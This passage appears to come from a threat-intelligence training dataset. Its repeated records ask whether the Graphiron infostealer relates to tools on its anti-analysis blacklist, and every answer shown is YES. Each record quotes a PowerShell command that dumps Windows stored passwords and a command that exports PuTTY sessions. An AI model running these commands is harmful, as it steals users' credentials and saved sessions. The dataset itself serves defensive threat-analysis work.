from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: procexp64\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: procmon\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: procmon64\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: protection_id\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: pslist\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: reconstructor\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: regmon\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: reshacker\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: rpcapd\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: scylla\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: scylla_64\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, 